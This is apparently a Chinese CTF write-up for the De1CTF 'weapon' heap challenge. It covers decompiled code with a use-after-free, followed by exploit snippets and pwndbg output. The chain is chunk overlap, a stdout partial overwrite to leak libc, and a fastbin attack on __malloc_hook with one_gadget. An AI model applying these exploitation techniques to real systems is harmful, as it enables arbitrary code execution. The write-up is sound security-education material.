De1CTF weapon
1 2 3 4 5 6 7 8 9 10 11
| unsigned __int64 menu() { unsigned __int64 v1;
v1 = __readfsqword(0x28u); puts("1. create you weapon"); puts("2. delete you weapon"); puts("3. rename your weapon"); puts("choice >> "); return __readfsqword(0x28u) ^ v1; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| __int64 create() { int v1; int v2; void *v3; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf("wlecome input your size of weapon: "); _isoc99_scanf("%d", &v1); if ( v1 <= 0 || v1 > 0x60 ) { printf("The size of weapon is too dangers!!"); exit(0); } printf("input index: "); v2 = get_int(); v3 = malloc(v1); if ( !v3 ) { printf("malloc error"); exit(0); } size_array_dword[4 * v2] = v1; # 0x0202068 *(&heaparray + 2 * v2) = v3; # 0x0202060 puts("input your name:"); readread(*(&heaparray + 2 * v2), v1); return 0LL; }
|
1 2 3 4 5 6 7 8 9 10 11 12
| unsigned __int64 delete() { int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf("input idx :"); v1 = get_int(); free(*(&heaparray + 2 * v1)); puts("Done!"); return __readfsqword(0x28u) ^ v2; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| unsigned __int64 edit() { int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf("input idx: "); v1 = get_int(); puts("new content:"); readread(*(&heaparray + 2 * v1), size_array_dword[4 * v1]); puts("Done !"); return __readfsqword(0x28u) ^ v2; }
|
无show函数,有uaf
首先,我们如果想要泄露libc,那么unsortedbin是必不可少的,但是我们最大只能分配0x60,达不到0x70(最小unsortedbin大小),怎么办呢,看下面这段payload:
1 2 3 4 5 6 7 8 9 10 11 12
| add(0, 0x60, p64(0) + p64(0x71)) add(1, 0x60, b'f') add(2, 0x60, p64(0) * 3 + p64(0x51))
delete(0) delete(1) edit(1, p8(0x10)) add(3, 0x60, b'ff') add(4, 0x60, p64(0) * 0xb + p64(0x71)) delete(1) edit(4, p64(0)*0xb+p64(0x91)) delete(1)
|
先add三个chunk,delete 0和1,此时bins:
1 2 3
| pwndbg> bins fastbins 0x70: 0x55de679c9070 —▸ 0x55de679c9000 ◂— 0x0
|
edit chunk 1的fd末两位为0x10,此时bins为
1 2 3
| pwndbg> bins fastbins 0x70: 0x556f910ed070 —▸ 0x556f910ed010 ◂— 0x0
|
这时分配chunk 3和chunk 4,会分别分配出070处的chunk和010处的chunk,我们利用这个010处的chunk进行edit就能进行溢出,通过覆盖chunk 3(chunk 1)的size为0x90,我们将其free就可以进入unsortedbin了
1 2 3 4 5 6
| pwndbg> x/16gx $rebase(0x0202060) 0x557e39c02060: 0x0000557e3aa1f010 0x0000000000000060 # 0 0x557e39c02070: 0x0000557e3aa1f080 0x0000000000000060 # 1 0x557e39c02080: 0x0000557e3aa1f0f0 0x0000000000000060 # 2 0x557e39c02090: 0x0000557e3aa1f080 0x0000000000000060 # 3 0x557e39c020a0: 0x0000557e3aa1f020 0x0000000000000060 # 4
|
那么接下来要解决的就是没有show怎么输出的问题了
由于这个unsortedbin里存的main_arena+88的地址离stdout很近,所以我们覆盖低两位就能完成将其改写为0x7f3949dc25dd,因为_IO_2_1_stdout_
的低第三位是不确定的,所以在打的时候需要爆破(成功的概率为1/16),也就是多打几遍让_IO_2_1_stdout_
的低第三位正好等于main_arena
的低第三位,而低两位覆盖的这个值可能需要自己在内存中找一下,找到对应size符合要求即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| pwndbg> p &_IO_2_1_stdout_ $1 = (_IO_FILE_plus *) 0x7fdb753c5620 <_IO_2_1_stdout_> pwndbg> p/x &main_arena $2 = 0x7fdb753c4b20 pwndbg> x/2gx 0x7fdb753c55dd 0x7fdb753c55dd <_IO_2_1_stderr_+157>: 0xdb753c4660000000 0x000000000000007f
pwndbg> fp 0x7fdb753c5620 $3 = { file = { _flags = -72537977, _IO_read_ptr = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7fdb753c56a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7fdb753c48e0 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7fdb753c6780 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7fdb753c47a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7fdb753c36e0 <_IO_file_jumps> }
|
flag位

改成0xfbad1800,_IO_write_base
低一位覆盖为\x00,这样在下一次进行stdout的时候就会打印出很多信息
这里我实测题目给的libc的版本(Ubuntu GLIBC 2.23-0ubuntu10
)是不可能完成这个利用的,这个版本的stdout低两位为5620,距离其最近的一个0x7f距离为0x43,再加上我们要覆盖到的一共是0x71>0x60,所以不可能完成这个利用,然后换了好多版本都不行,不纠结了,换一题打
偏移算错了距离不是0x43是0x33(因为元数据的存在,得拿55ed来算距离),要不然都没有这种攻击手法了感觉

注意,这里修改成功之后调试的时候就看不到了(需要下更细的断点),猜测是因为在后面刷新流的过程中覆盖掉了

然后接受一下输出就可以泄露出libc地址了
1 2 3 4 5 6 7 8 9
| recv_info = uu64() libc_base = recv_info - 0x3c5600 malloc_hook = libc_base + libc.sym['__malloc_hook'] onegg = [0x45216, 0x4526a, 0xf02a4, 0xf1147] onegg = libc_base + onegg[0] lg("recv_info") lg("libc_base") lg("malloc_hook") lg("onegg")
|
有libc,直接fastbin_attack秒了
1 2 3 4 5 6 7 8 9 10 11
| add(7, 0x60, b'ffffffff') delete(7) edit(7, p64(malloc_hook - 0x23)) add(8, 0x60, b'6') add(9, 0x60, b'a' * 0x13 + p64(onegg))
sla(b'choice >> ', str(1)) sla(b'wlecome input your size of weapon: ', str(96)) sla(b'input index: ', str(10)) sl(b'whoami')
|
ctfshow_pwn162
https://yukon.icu/2024/07/15/snote2/